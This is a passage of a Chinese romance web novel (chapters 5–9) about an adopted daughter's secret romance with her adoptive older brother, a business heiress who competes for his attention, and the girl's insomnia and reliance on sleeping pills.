但妈妈还在楼下,那晚妈妈在门外说的那些话,在时憬心里扎了根刺,不敢像之前那么大胆,怕被察觉出什么端倪。
想了会儿,她还是朝自己房间走去。
等等吧。
等明天。
等他倒过来时差,或是深夜熟睡了,她在偷偷溜去抱一下他。
现在就让他好好休息吧。
时憬关上门,扣着手机壳,想这可是她难得的体贴入微,明天肯定要让陆礼好好夸自己。
手机震动了下。
她翻过屏幕。
还未解锁,就看见悬浮显示的信息。
陆礼:【开门】
时憬迅速转身开门,一把将人扯了进来,撞入他的怀中,双手紧紧抱着腰,嗅到的是男人身上熟悉的沐浴后的清洌气息。
真真实实触碰到,她才发现自己是这么这么想他。
“陆礼…”
她趴在硬实的胸膛,瓮声瓮气地叫他名字。
陆礼低下头,手掌抚了下她的发,从深邃眼底蔓延出星星点点的温柔,“知道给你带了礼物,这么高兴?”
每次陆礼出差回来,都不忘给她带礼物。
时憬想起了上次宣城回来,带回来的黄桃罐头,心脏柔软得不像话,轻声细语地说话:“你比礼物更珍贵。”
陆礼无声挑眉,“确定?”
时憬从怀中昂起头,眼角发红,眼神依恋地、柔软的仰望着他。
他另一只手举起,晃了下拎着的东西,时憬的眼神就忍不住跟着走了,脸上瞬间绽放惊喜的笑容,双手也不抱他了,扑着去抱包,“限定色!!是限定色!!哥!!!你居然给买到了!!!”
陆礼个头高,举着胳膊故意不让她拿着。
看着女孩蹦跶了两下,有些像是可爱的……陆礼忍不住笑了声,勾的时憬去看他。时憬撞上他难掩疲惫却渗满温柔的双目,她只觉得自己被温柔环抱着。
时憬踮起脚,双手搭他肩上。
轻轻吻了上去。
男人没回应。
时憬也不在意,她退开一点,眼睛亮晶晶的,语气带了点促狭的得意:“拿到啦——”话音还未落下,后劲被一只手摁住,压在怀中,低下头,交换了一个绵长纠缠的深吻。
他也比自己想象的更想这个女孩。看着她在餐桌上安安静静的低头吃饭,乖巧地叫他哥,也不追着他要听见闻,在他离开时,才从眼神中露出依恋,但又很快低头藏起来。
这一幕,让陆礼想起了她刚来陆家。
在他从浴室出来,未看见她笑盈盈地扑过来,屋子里是明亮的死寂。
幸好他来了。
陆礼的指腹从她的眼角掠过。
“你…”
“你……”
在时憬被温柔地放到床上,看着男人解开睡衣压下来时,眼神有些紧张,“妈妈还在楼下…”
陆礼嗯了声,“声音小点。”
“万一妈妈来找我说话……”她面颊泛起酡红,手抓着他的手腕,像是阻拦又像是迎合。
“上来前怎么和妈说的。”
“就…就……困了……”她呼吸渐渐乱了,眼里有了湿漉漉的水光。
陆礼遏制着欲望,低下头从额头一路吻下来,嗓音沙哑,“那没事了。”
“门……”
“锁了。”
如此温柔的情事,像是编织的网,兜着她陷在奇妙美好的梦境中,不断下坠,放弃挣扎,浸心享受。
时憬抱着他,以一种笃定的口吻问他,“陆礼,你也想我了是不是呀。”
他将人抱紧,吻她的唇、眼。
她有些发痒地闭上眼睛。
于是,就看不见他眼中丑陋的欲望了——
他想她了,是这种想。
第6章 她想要的,他不肯给
思念的人回到身边,时憬在陆礼怀中酣然入睡,一夜无梦,周身都被温暖包裹着,直到醒来时,手脚都还是暖融融的。
下楼吃早饭时,陆母多了她两眼,笑着说:“小憬今天心情这么好?”
时憬拉开椅子坐下,在陆母身边小声说:“我哥送了个包包给我,是限定色哦!”语气愉悦又得意,白盈盈的面庞上漾满年轻灿烂的笑容。
看得人被感染,也生出好心情来。
陆母双手轻拍了下,也笑着说:“哎呀,这可真不错!”说着,故意看向对面正在低头喝粥的儿子,“小礼下次什么时候出差啊?”
时憬已经开始憋笑。
陆礼愣都不带愣一下,转头去看陆父:“爸,妈想收包当礼物了。”
陆父还在低头看平板上的报告,下意识回了句:“好,收,买!”
陆母直摇头叹气,对两个孩子说道:“看看,看看,这就是结婚三十多年后的反应,不走心!”
时憬几乎笑倒在陆母身上。
陆父这才觉察出来点不对劲,抬头问,“你们说我什么呢?”
陆母一脸寒心地叹息。
陆父连忙问:“我做什么了?”又问时憬,“你妈妈想买什么?买,今天就去买!”说着拿出手机就要转账。
陆母也被逗笑,“看你的财报去吧!咱们吃早餐,不理他。”
陆父虽一头雾水,但看着妻儿都笑着,餐桌上气氛和睦幸福,也跟着笑了起来。
时憬的好心情持续了一路。
她用上了昨晚收到的包,是个淡紫色方格纹双肩小包,喜爱地放在腿上,哼着曲刷着手机,走调地唱着今天是个好日子。
陆礼安静听着,唇角略上扬。
哪怕总裁刚出差回来,又逢周一,每个人忙得恨不能飞起,大会接着小会,让人喘口气的时间都没有,但不妨碍参会的所有人都察觉陆少今天心情极好。
陆礼今天心情的确不错,快速结束手上堆积的待办事项,想起时憬这半个月都在家里,长辈总觉得多吃甜点对身体不少,她估计也馋了,发了信息让人去排队买。
快下班时,收到时憬消息说要加班。
他昨晚刚下飞机,时差还没倒回来,今天高强度忙了一天,就安排耿叔去接她。
等陆礼到家,看见陆母正同一个陌生年轻女人说话。陆母看见他回来,含笑招手:“回来了啊,快过来。”
陆礼对这一幕不算陌生,很快反应过来。
陆母介绍:“这就是我的大儿子,陆礼。楼心月,宣城楼家的小女儿,你爸说两边有个新材料合作项目,她来参观学习。今天才到沙市就来上门拜访了。”
陆礼略颔首,“你好。”
楼心月站起身,一身米白修身针织连衣裙,勾勒出纤细匀称的身材,举手投足间透着优雅,面上妆容素净,笑容清浅,“你好,陆礼。”
嗓音亦是温柔。
长辈谁会不喜欢长得好看又懂礼貌的女孩儿,这会儿看着两个孩子站在一起,说不出的郎才女貌,再瞥见儿子手中的甜品袋,心思一转,笑着打趣道:“看到我发的信息了?还特地买了甜品回来。”
为着陆母的前半句话,陆礼没有否认后半句。
他放下袋子,语气带着客气的疏离,“希望楼小姐喜欢。”
楼心月露出意外的笑容,欣喜的语气也拿捏得恰到好处:“谢谢,我在网上看到这家甜品很难买的,不接受预定,只能现场排队。”
楼心月显然提前学习过新材料相关知识,在吃饭时问的几个问题都不浅白,陆礼也耐着性子答疑。
陆母瞧他们说得有来有往,之后楼心月还要在陆氏学习个半年,两个孩子朝夕相处的,说不定还真有戏,脸上笑容不禁深了几分。
快到九点时,时憬下班到家。
她所在的公司承接各种高端论坛展会,今天老板接了个救场的急活,人手实在不够用。时憬大学是设计专业,平时老板都不敢差遣她干活,今天实在特殊,腆着笑脸亲自请时憬留下帮忙,这一忙就忙到这么晚,看得眼睛都发花。
进了客厅后,就朝着陆母撒娇似地扑过去,故意拖着可怜的音调,“妈妈,我总算回来了,好累好饿啊……”
陆母疼爱的摸了下她的脸,“好了,起来坐好,有客人在呢。”
时憬坐直身体,但仍挽着陆母的手,眼睛弯弯,笑盈盈看向坐在旁侧沙发的女人,美貌不必多提,坐姿优雅笔直。陆礼也坐在一旁,两人一眼就能看出来是良好家庭教养长大的同类人。
对方微笑着先打招呼,“你好,楼心月。刚才听阿姨说起你,果真和阿姨说的一样,是个招人喜欢的妹妹。”
陆母心里喜欢听人夸家里孩子,嘴上却道:“这么大了,也还是个孩子脾气。”说着,轻轻点了下她额头,“让阿姨给你留了饭,快去,回头别饿的胃病犯了。”
“好~”时憬应下,“心月姐,我先失陪啦。”
时憬起身离开,目光从桌上的甜品盘轻飘飘掠过。进了小餐厅后,脸上的笑容瞬间消失,面无表情地坐下,夹了块肉用力嚼着。
这样的相亲以前也有过,不知道这位楼小姐陆礼打算几天解决……还给她带自己最喜欢的小蛋糕,难道陆礼喜欢这类长相的?
时憬带着气吃完晚饭,没再出去露脸,怕自己不小心露出嫉妒和尖酸刻薄来,怕被妈妈察觉出来什么,也怕妈妈给陆礼安排相亲,是因为那天晚上的事情。
维持了一日的好心情,连加班都没有破坏的好心情,噗嗤一声,破了。
直到入睡前,没等到陆礼过来,也没等到他的信息,本就糟糕的心情变得恶劣,用力垂着枕头发泄。
陆礼也是狗男人!
昨天陪睡,今天见了美女就没声音了?!
狗男人!
狗!男!人!
第二天,时憬故意没告诉陆礼回公寓住。
晚上她正和童宛唱K,随手扔在茶几上的手机震动,时憬看了眼来电显示,直接挂断,握着麦继续唱:
“一杯敬自由/一杯敬死亡,宽恕我的平凡/驱散了——”
“嗡嗡。”
屏幕上跳出信息。
她低头看了眼,错过了歌词。
【陆礼:怎么不接电话,几点回来?】
时憬单手回,表情带了点冷漠:“这几天我住公寓”
【陆礼:知道了】
【陆礼:早点回去休息】
时憬等了七八分钟,也没等到陆礼问她在哪儿,疑惑的看一边忘情歌唱的童宛,扯着嗓子问:“你和我哥说我们在唱K?”
两人啊?啊?了两个来回,最后还是时憬毛了,关了音乐,童宛才听明白:“我和陆少八百年都没说过一句话好吗!”
时憬啧了声,嘟囔了句:“那他怎么不问我?”接着又嘀咕,“早知道就去夜心了。”
童宛啊了声。
时憬看她。
童宛摸头笑得可爱,“那什么…刚开始的时候我发了个朋友圈……”
时憬:………………
童宛凑过来说话,“嗳,你今天拉我出来,是和陆少吵架了?不过说真的,陆少对你真的蛮好的,你看看我那二世祖哥哥,恨不得我一天到晚都在外面浪,就怕我回去从我爸妈那边多抠走属于他的资产。”
时憬无法否认这句话。
陆礼对她真的很好很好。
可她最想要的,他不肯给。
他甚至不肯在昨晚来找她,生怕让她误会,让她生出不该有的念头,狠心时的陆礼显得如此绝情。
“不说他们这群狗男人,我们唱歌!”
时憬咬着牙想,不问就不问,看他们谁能憋得住。
*
经过上次临时加班后,老板突然发现供着的这尊大佛真有两把刷子,时憬也为了让自己上班充实,不给自己想陆礼的机会,主动接了不少工作。
每天晚上下班回家就打游戏、追剧。
她不喜欢晦涩难懂的深奥电影。她不喜欢听音乐剧,中场必瞌睡。她也不喜欢插花。她更不喜欢弹琴。
她喜欢粗俗、爆笑、狗血的剧情。她喜欢听抖音爆火网络歌曲。她也喜欢看野花恣意生长。她更喜欢玩游戏。她的喜好世俗又平凡,处处透露着与上流社会的格格不入。
她从什么时候开始迎合属于他们的社会呢?
是从她爱上陆礼开始,怕陆礼会厌恶她肤浅的本色;是从她感受到了陆家人对她的呵护与善意,她怕在他们眼中看到失望的眼神,她已经做了不容饶恕的事情,至少在她被赶出陆家前、被爸爸妈妈厌恶前,她希望能让他们开心些。
住回公寓,能让她松一口气。
可公寓里太安静。
初冬的夜晚,静的世界上仿佛只剩下她一个人,她把电视剧声放大,填充寂静的屋子,手中捧着游戏机,占据自己的思绪。
她有多控制不去想陆礼,每一夜梦境里就会多频繁的出现陆礼。
“时小舟……”
“时憬……”
她在梦中听见陆礼叫她的声音,挣扎着醒过来。
屋子里空荡荡,寒冷侵入骨髓。
他不在。
巨大的孤独感将她笼罩。
这才几天,她已经要坚持不住了。
第7章 温柔的教她接吻
这天沙市下属公司都要到总部做季度汇报,这两年大环境不好,他们公司承办的活动少了很多,盈亏数据不太好看。自从时憬进入这家公司后,每次开季度会议,老板就把她带着,把她当成灭火队员,贼好使。
老板盯着周围羡慕嫉妒恨的目光,带着时憬在角落坐下,开始虚伪的社交,内心则是叉腰得意大笑:看什么看!谁让时憬大小姐学的是设计!!谁让他们是策划公司!这就叫专业对口!你们就羡慕吧!
时憬睡眠不足,掩唇小声打哈欠。
在她快瞌睡时,周围起了一阵小小骚动。
“这位美女谁啊?”
“和陆家什么关系?”
时憬掀起眼皮看去,眼瞳微颤了下,有短暂的恍惚,竟然是楼心月。
老板也向她打听,时憬一无所知。
她以为,楼心月只是陆礼的相亲对象。
她盯着站在最前面的楼心月,长发盘起、米色衬衣、浅灰色西装裙,一副精英女强人的打扮。妆容精致,打眼看去美得惊艳。
楼心月主动介绍自己,说自己因为项目过来学习,客气地说希望大家指点她。之后的会议仍由总部的人负责主持,时憬耐着性子听着,会议一结束,起身就朝外走去。
握在手里的手机震动了声。
【陆礼:回家前上来一趟】
看见这条信息,她并无太多欣喜,单手回消息。
【时憬:忙,不——】
“妹妹等等!”
“小憬妹妹——”
字还没打完,被身后的叫声吓了一跳,手指不小心点到发送键,她无声骂了句脏话,一秒撤回。做了个表情管理,转回身,笑着打招呼:“心月姐,你叫我呀?”
此时会议刚结束。
走廊里不断有人从她们身边经过。
楼心月温柔地同她说话:“这几天在家里都没看见你,给你带的小礼物一直没机会给,正好今天碰见了,可以陪我去趟办公室么?”
当然——
不行。
至此,时憬已经判定,楼心月都没接近陆礼,所以才故意在公众场合说这些让人误会的话,好让人以为她和陆礼的关系不一样。
时憬心里的气一点点消了,缓缓露出虚伪的微笑,为难了下,“谢谢心月姐,不过我哥找我上去,咱们——等会儿见?”
“好啊。”
时憬转身走人,笑容秒收。
都是千年的狐狸,玩什么聊斋。
电梯直达顶层。
她径直穿过秘书办,不用任何人通报,直接推门走进总裁办,反手甩上门。
陆礼正在接电话,闻声朝门口看了眼,快速结束这通电话,放下手机,后背放松着靠在靠背上,带了点私下里才有的松弛随意。
“过来,谁又惹我们时小舟生气了?”
小舟是时憬的小名,她出生在江南水乡,家里的民宿就建在小河边,每天都有扁舟划过去,就有了这么个小名。
自来到陆家后,只有陆礼知道这个名字,只有他偶尔还会这么叫她。
办公室里的暖气打得足,陆礼只穿了件黑色羊绒衫,露出里头灰色衬衣领子。这样英俊的面庞,在摘下眼镜后,望来的眼神让人想要沉溺。
时憬暗示自己,不要被美色所惑,更不要随意心软。
她盯着那个灰色领子,觉得有些扎眼。抱着胳膊走过去,居高临下地看他,面无表情。
陆礼看了两眼。
总觉得时憬生气比微笑着叫他‘哥’有趣多了。
生气是对亲近人的特权。
他站起身,靠近她,双手握着她腰抱起,将人放在桌上坐着,扬了扬眉问:“火气还挺大?会上被骂了?”说着,他点开财报看了眼,竟然还真的批评起来:“今年市场大幅度回暖,跨国合作项目明显比去年多。第四季度靠年底,电商活——”
时憬蹭地从桌上跳下来,“你叫我上来就为了说这个?”
陆礼礼貌颔首:“顺带看妹妹近况,好回家和妈汇报。”
时憬推开他甩手就走。
哪怕陆礼没理由向她解释楼心月的出现,但至少也要关心她几句吧?
狗男人!
分开半个月回来后急着来找她,睡过了就换了张面孔!
狗!男!人!
时憬都快走到门口了,仍旧没听见男人挽留自己,她不敢置信地转身,“你、不、拦、我?”
高冷陆少抬了抬下巴,“冰箱里的甜点记得拿走。”
时憬这会儿是真生气了,“送你的相亲对象去吧!”
陆礼不再逗她,走过来,掰着她肩膀将人转过来,语气也跟着柔和了下来,跟哄小孩似的口吻:“今天这是怎么了,进来就甩门甩脸,生理期?”
时憬闭眼不看他,绷着脸。
陆礼揉了下她脑袋,低笑了声。
僵持时,门外传来敲门声,“陆礼?”没有下属的恭敬,透着人都能听出来的亲近声。
陆礼刚要应,被时憬打断。
眼前的女孩拽着他的衣领,踮起脚,直直吻了上去。
总裁办的磨砂玻璃隐秘性极强。
站外门外的人绝对想象不出,隔着一扇门,陆少正与她的妹妹在接吻。
时憬的吻有些像是发泄的横冲直撞,最后还咬了下他,听见陆礼轻抽了声气,她才退了出去——后撤失败,陆礼温热的手掌掌着她的后脑勺,扣着她,反守为攻,温柔地教她接吻。
短短一瞬。
时憬听见自己心跳声失控。
陆礼松开女孩,抬了指腹擦去唇边的口红,另一只手在她额头上轻敲了下,眼稍带了点无奈的笑,低声问:“从哪儿学来的咬人,这下不生气了吧?”
时憬的脾气来得快也去得快。
就哼了声。
陆礼揉了下她脑袋,吩咐她:“去开门。”
在楼心月再度抬起手准备敲门时,紧闭的门忽然就打开了。楼心月扬起体贴的笑容,“陆礼,在忙么?是我打扰——”
出现在门后的却是笑盈盈的时憬。
“心月姐,我哥刚忙完,进来吧。”
楼心月换了个温柔的笑脸,双手把精致的礼盒递给她,“希望小憬妹妹能喜欢。”
礼盒上有小小的双C logo。
时憬接过,“谢谢心月姐。”
“不客气。”
楼心月语气仍旧温柔,目光疼爱地看着妹妹,实则在仔细看她的妆容——
唇妆淡了许多,眼角也红了点。
陆礼拎着甜品袋走来,以一副兄长的口吻叮嘱她:“耿叔在楼下等你,身体不舒服就回家休息,听见了么。”
时憬接过袋子,故意冲他咧嘴笑:“谢谢哥哥~”
夹着嗓子甜腻得有点恶心。
陆礼摇头无声笑了下。
在时憬离开后,楼心月靠近他两步,关心地问:“你们是…吵架了么?这几天也都没看见小憬妹妹回家住。”
她微蹙着眉,仿佛真心为这对兄妹担心。
陆礼脸上的温和褪去:“还有什么事?”
楼心月察觉他的冷漠,立刻露出愧疚的表情,“不好意思,是我逾越了。”说完后换了个认真的语气,“今晚的酒会国内新材料行业的尖端科研人员都会出席,我第一次出席这种专业人士的酒会有些紧张,你等会儿什么时候出发?我想我们一起出现会比较好。”
陆礼收回视线,“六点,助理会去叫你,我还有个会。”
楼心月维持笑容,“好,那就不打扰你了,六点见。”
她走出总裁办时,咬着唇,脸上的不甘控制不住浮现,她都这么温柔善解人意了,居然还有男人会这样冷漠对她,她就不信半年时间还拿不下陆礼。
“心月,一起下楼么?”
秘书办里有人走出来,与她热情地打招呼。
短短数日,楼心月已经与总部不少年轻姑娘混熟,成了她们眼中温柔优雅的女神,陆少将来的女朋友。
楼心月扬起浅笑,柔声回,“好啊。”
*
时憬收到总部里朋友发来的消息,说陆、楼两家的新材料项目合作正式落定,楼心月被楼家派来陆氏见习半年,等到明年下半年,她会代表楼家空降新材料公司,做执行副总。
【耶耶:楼心月魅力贼大,公司里好多小姑娘都快把她当做女神了】
【耶耶:不过楼家醉翁之意明显不在酒,不止想拿下新项目后还想拿下我们陆少】
【耶耶:陆礼~】
【耶耶:哎哟那声音矫揉造作的我隔夜饭都快吐出来了!】
【耶耶:豁,又有新材料!】
【耶耶:给你看看楼刚发的朋友圈】
时憬点开发来的朋友圈截图。
【楼心月:多年没来沙市,看这堵车盛况】
配图是一张坐在副驾的拍摄视角,远处是一片红色尾灯,在黑夜中连绵成一片。近处的角落里露出方向盘上一半车标,及一只搭在方向盘的上男人的手,腕上是百达翡丽铂金万年历表。
第8章 谁家兄妹会这样
时憬两指放大截图。
她记起来,有那么一两次胡闹时,陆礼会摘下腕表放在桌上后,再抱她上床。
叉掉图片,她敲字回。
【时憬:车标和表上她给加高光了,我哥是她的了吗,这就开始宣示主权了】
【耶耶:我去!还真是!】
【耶耶:靠!!!这种豪门大小姐居然还会做这种事情?!!长见识长见识了!我要去跟同事八卦去!】
时憬看着对面发来小兔子溜走的动图,逗笑了声,视线又划到半年那个刺眼的字眼上,心里烦躁,点了炸鸡开了罐冰啤看爆笑综艺。
屏幕上的搞笑艺人正在拼命抖包袱,时憬满脑子里只有那张截图,深更半夜陆礼开车带着楼心月要去哪儿?回陆园?楼心月的确说过每天都会去陆园,难道她住在陆家了?不可能——爸爸妈妈不会同意的,否则楼心月只会比现在更高调。那他们开车去哪儿?还让她坐在副驾驶座——
时憬灌了口冰啤,背景笑声如此嘈杂,听起来还有些应景地在嘲笑她。
楼心月在总部实习半年,每天都会去庄园,对此陆礼只字不提……
冰冷的液体从喉咙口滑进胃里,冷得让人忍不住打个哆嗦。
“嗡嗡。”
她捞起手机看。
【童宛:陆少谈恋爱了?这美女谁啊,好正!】
下面是一张在酒会上偷拍的照片。
镜头中的男人着酒红色丝绒西装搭配咖色西裤,单排扣、平直结,优雅从容,光线落在他的脸上,英俊绅士的仿佛是从古城堡中踏过岁月走出来的年轻贵族。
他胳膊虚护着身侧的女伴,香槟色的V领大露背长裙勾勒出玲珑有致的身材,肌肤白皙的在灯光下能发光一半。美人微偏首,侧眸温柔地与男人说话。
哪怕是张偷拍的照片,他们看起来也如此登对。
继童宛发来信息后,也有两三个圈中朋友来问,旁敲侧击陆少是不是有女朋友了。
童宛也是个颜控,把楼心月从头到脚夸了一顿。
她漂亮么?
漂亮。
看着和陆礼配么?
配。
时憬看着熄灭的电视机屏幕里映出的自己,自己漂亮么?自然是漂亮的,但她和陆礼站在一起,不会有人夸他们天作之合,因为她是陆家养的女孩啊。
她用力抿了下唇。
一阵恶意涌出。
她不管陆礼是故意让这些人误解,还是因为工作关系才与楼心月结伴出席,陆礼是她的,今天还吻了她的陆礼只能是她的,不准被任何人抢走。
*
“陆礼,韩教授在那——”
楼心月极为自然地挽上男人的胳膊,微昂首,露出修长天鹅颈,锁骨也凹出一个精致的弧度,语气透着亲近,目光盈盈动人。
经过这场宴会,她将会成为陆礼的绯闻女友。
而因为陆、楼两家的合作,陆礼不会很正面地回绝这个绯闻,有些绯闻传久了,不就会成真么。
为了这场酒会,楼心月做SPA、体态矫正、挑选衣服、学习妆容,足足准备了一个月。
现在看来,陆礼似乎对今晚的自己也颇为欣赏。
男人么,说穿了还是视觉动物。
在这场酒会中就没几个男人能忍不住不多看她两眼的。
正在楼心月沉浸在陆少女伴的幸福中时,手中的胳膊抽走。
她顺着看去。
陆礼仿佛没注意到她露出的表情,淡声道:“你先去,我接个电话。”
楼心月体贴道:“我等你。”
陆礼从西裤口袋里拿出手机,看了眼屏幕上的名字,甚至都没走到宴会外去再接听,“时憬,怎么了?很难受?不怕,我现在就过来,很快。”温柔有力的两句安抚后,陆礼迅速结束通话,抬脚就朝外走去。
“陆礼——”
“陆礼!”
楼心月不敢置信听到陆礼说‘我现在就过来’后,转身就走!
震惊过后,她慢了两拍才提着礼服,一路小碎步跑到在门口追上他,压住烦躁,捏着语调担忧地问道:“我刚刚听到你叫小憬妹妹名字了,是出什么事了么?”
陆礼看着眼前气喘吁吁的女人,才想起楼心月的存在,简单解释了句:“时憬身体不舒服,我过去看看。”
楼心月情急之下拉住陆礼的胳膊,“酒会还没结束!”
她的语气过分着急,引得陆礼看了眼。
楼心月心里一慌,改口解释:“你现在赶过去路上也要花时间,不如先帮妹妹打120,或是帮她叫车先去医院,我们先和里面的人打声招呼,再去医院和妹妹汇合。”无论如何,她要么留下陆礼,要么和他一起消失,绝不能孤零零被留下来!
陆礼安静地听完,拉开她的手。
一个新材料试水项目罢了,还不轮不到他放低姿态去‘打招呼’,楼家送来的人,竟如此——浅薄。
陆礼的目光更淡了些,“我等会儿让司机送你回去。”
楼心月看着男人离去的背影,几乎要把唇咬出血来。
陆礼就这么丢下自己走了?!就为了时憬一个电话说身体不舒服?就为了一个毫无血缘中途收养的妹妹?!谁家的兄妹会这样?!
新材料是他们陆楼两家都瞩目的新项目,今晚酒会上还有那么多大拿在,他就这么走了?
她从未有过如此难堪的时候。
刚才的得意就像是巴掌,狠狠地甩在她的脸上,等会儿等她一个人回酒会,不知有多少人看她的笑话!
楼心月现在寒风中,面容渐渐扭曲。
陆礼喝了酒,酒会远未到结束的时候,司机还未到,他消息让司机下班,找了代驾开到时憬公寓楼下。
在路上又叫了外卖送药、送粥,打电话让时憬去拿,听着她虚弱的哼声,陆礼的声音放柔嗓音,低声安抚她,让她先吃药喝粥,很快他就到了。
挂了电话,陆礼让代驾开快点。
一个小时后,陆礼赶到门口,指纹解锁。等他推开卧室门,不久前还在电话里哼唧着说疼的女孩,已经拥着松软的被子坐在床上,架了个床上桌,背脊微弯着,一勺勺慢吞吞地喝着粥。
听见开门声后,她才抬起头,眼角略红,卸了妆容后越发衬得脸色发黄,头发睡得凌乱,看着有点憔悴。
“哥,你好慢啊…”
她蹙着眉,小声地撒娇。
陆礼走过去,弯腰摸了下她的额头,语气比任何时候都要温柔,“好点了?”
时憬点头,“吃了药,又喝点热粥,好多了,没那么疼了,咦——”她有些小嫌恶的皱眉,“你身上一股味,走点开,想吐。”
陆礼愣了下,估计是他从酒会上下来,沾了不少香水,随即无奈笑,“再多吃两口,我去洗澡。”
在这几年里,陆礼偶尔也会住在公寓。
他不会主动来,多数是被时憬用各种奇奇怪怪的理由叫过来,所以公寓里也备了他的洗漱用品、贴身衣物。
六十平的公寓,房间都是小小的。
陆礼的衣物、洗漱用具,和时憬的东西挤在一起,泾渭不明,导致时憬有时候会抓错衣服。
陆礼每次来都会顺手整理,但当他下一次再来时,依旧挤在一起。
时憬咬着塑料勺子,看着陆礼高大的背影,躬着腰,在她衣橱里翻衣服,几乎都能想象得出他眉毛要皱不皱的冷脸。
就这一幕。
神奇地填满她的孤独。
陆礼还是她的。
陆礼心中最重要的位置,依旧是属于她的。
陆礼从浴室出来时,时憬已经撤下床上桌,人蜷缩着躺在被窝里,松软的鹅绒被将她包裹住,暖得她面颊多了些温暖的血色,双唇微张开,小声呼吸。
他弯腰,拨开她脸上的碎发。
随手替她收拾床头柜,把胃药塞好,收进抽屉里——
抽屉里都是女孩儿的东西。
以及藏在角落的一个白色药瓶。
陆礼的手顿了下,看了眼浅睡的时憬,放轻动作取出药瓶。
是安眠药,底下的生产日期新鲜,不是几年前的药品,拧开盖子,上面的盖膜已经撕开。
“陆礼…”
身后响起女孩干涩、紧张的嗓音,柔弱得让人心软。
第9章 做么
陆礼关上抽屉,掀开被子躺进去。
时憬眨了两下眼睛,才往他怀里滚,把头埋在胸口,瓮声瓮气地说着什么话,陆礼默许她撒娇,垂下眼看她的发顶,默默把身体往后挪了些:“被吵醒了么?”
每当她生病时,不舒服时,陆礼都会变得温柔,比平常时候还要温柔许多许多倍,温柔得让人根本无法拒绝,让人迷恋上瘾。
其实今晚的“生病”是时憬故意的。
她知道自己胃不好,每当入冬后碰了生冷油辣的就会犯,即便用这种自欺欺人的手段,也要把人抢回来,现在的陆礼是她的。
时憬嗯了声,理直气壮。
陆礼:“胃还疼?”
时憬摇头,嘴上却说:“还有一点点不舒服,就一点点了。”
“看来还是胃疼得轻了,敢喝啤酒吃炸鸡。”
时憬僵了下,她记得垃圾都扔掉了,连牙也刷过了,不是,他怎么知道的?“你看我手机了?”
陆礼对上一双疑惑的眼,语气平静道:“送药的骑士打电话说一个多小时前刚给这户送过啤酒炸鸡。”
时憬:……………
真、是、巧、啊。
她一秒认错:“就今天追了部剧,有点点嘴馋……下次不敢了,再也不敢这么吃了。”
陆礼嗯了声,将她的脑袋继续摁回胸前。
看着像是没生气。
看着也没像是听出来她临时编的借口。
估计是因为她说自己这会儿还难受,所以他才没训自己。时憬心安理得贴着他抱着他,享受着温暖,忍不住打了个哈欠。
在时憬快睡着时,听见陆礼在问她:“胃还疼么。”
“不疼……”
“那,”男人一个翻身,将她压在身下,继续低声问她:“做么。”
时憬反应迟钝了一秒。
要说起这个她可就不困了!
女孩儿的眼睛瞬间亮了起来,她抬胳膊搂住陆礼的脖子,眉眼间流转着小小得意的娇媚,“人家可是病患,当然是——”她昂起头,吻上柔软的双唇,“做呀。”
卧室里暖气调高。
松软的鹅绒被从不大的床上滑落。
只睡时憬一人时,还觉得空间宽裕,忽然多了个手长脚长的成年男性后,一下子显得紧凑起来,多一些动作都容易从床上掉下来,施展不开。
时憬被紧紧抱着、承受着。
短绒毛的床单将她包裹。
她的头发也蹭得毛茸茸的,陷入喧软的枕头中。那双明亮的眸子,在动情时泛滥成涟漪,凝结着眼泪、压抑的呼吸声,通通涌了出来。
失控的情事后,身体与灵魂似乎都被充盈,沉甸甸的任由温柔环抱,生出疲惫与困倦来。
陆礼照顾她的习惯都刻进了骨子,起身简单清理自己后,绞了块温热的毛巾在被窝里替她擦洗,时憬被似有似无的睡意拉扯着,一时分不清梦境与现实,哼哼唧唧地不配合。
等清理后,她又惺忪着眼,舒服地在被窝里打了个滚,人渐渐清醒过来,睁眼看陆礼重新躺了进来,又慢吞吞蹭过去。
陆礼体温高,怕热,房间里暖气太足,鹅绒被又太暖,怀里多了个人后,没一会儿后背就开始冒汗。他伸手替时憬掖好肩膀的被子,低声问她,“怎么又醒了。”
“又被你弄醒了。”
她懒洋洋地回答,闭着眼认真酝酿睡意。
“时憬。”
“嗯~”
“这次是从什么时候开始睡不着的。”
安静持续得有点久。
时憬知道他看到了,一定会问她。
女孩儿用力抱紧他,闭着眼小声回答:“上个月,我妈妈的忌日到了。我怕一直会睡不着,才开了药,但我最后忍住了没吃。”她探出头,轻轻碰了下他的唇,带了点邀功的口吻。
陆礼听她轻描淡写地说起,想起她说的上个月,那会儿正是她在外出差回来后迟迟不回家,还跑去和人相亲。
陆礼垂下眼睑,挡住眼底神色,柔声夸她:“我们时小舟真棒。”
这些年相处下来,陆礼知道她是个怕疼、一遇到困难就习惯性依赖旁人的性子。其实那时候她的睡眠障碍还没有那么严重,因害怕失眠的煎熬,开始依赖安眠药,噩梦却接踵而来,彻底崩溃的睡眠状态加上当时他出国留学,导致她的病爆发——
她总是依靠别人。
还爱撒谎。
这让陆礼如何信任她的话。
陆礼摸了下她的头发,语气温和地说:“明天起回家里住着吧,年底节日多,你还能陪着妈一起布置。”
时憬想起温暖的庄园,总是慈爱关心着她的陆父、陆母,她也想他们了。
她点头应,“好。”
“我约了秦医生下午的号,明天去看看?”他的语气愈发温和,听起来像是在哄小孩子一般,“今年还没去复诊过吧。”
时憬收紧胳膊,嗯了声。
陆礼低下头,吻上她的发顶,柔声夸她:“真棒。”
时憬被他的气息包裹,忍不住笑出声,用头轻轻撞他,有些不满的控诉:“陆礼,你又把我当三岁小孩哄!”
怀中的女孩昂头,望着他的眼神中,笑意干净、纯粹。
“嗯。”
陆礼挡住她的眼睛,在他心中,时憬永远是需要他保护的女孩,哪怕在这段扭曲的关系结束后,他依旧是她的兄长,照顾她一生是他的责任。
时憬被拥在怀中,缠着陆礼说些鸡毛蒜皮的小事,不提与楼家的合作,也不问楼心月的存在,至少今夜她的心被安全感充盈着。
陆礼能从宴会上过来,楼心月就不算什么东西,远不及她在陆礼心中的重要性。
这一夜,是她近期睡的最安稳的一觉。
等醒来时,舒适的伸了个懒腰。
正巧房门打开,陆礼进来催她,“醒了?起来吃早饭。”
冬日暖阳下,西装革履的男人优雅的周身都镀上了一层光晕。
时憬挡住脸,“走开,你帅到我眼睛了。”
陆礼:?
高冷男人的表情微妙了瞬,他比时憬年长六岁,有时候不得不承认年龄差导致的代沟,他也试着去理解小姑娘的奇思妙想,而后,男人一本正经地回她:“多谢夸奖。”
时憬笑得又跌回被窝里。
最后等时憬洗漱好坐到餐桌前时,已经是中午了,她忍不住感慨自己这一觉竟然睡了这么久。
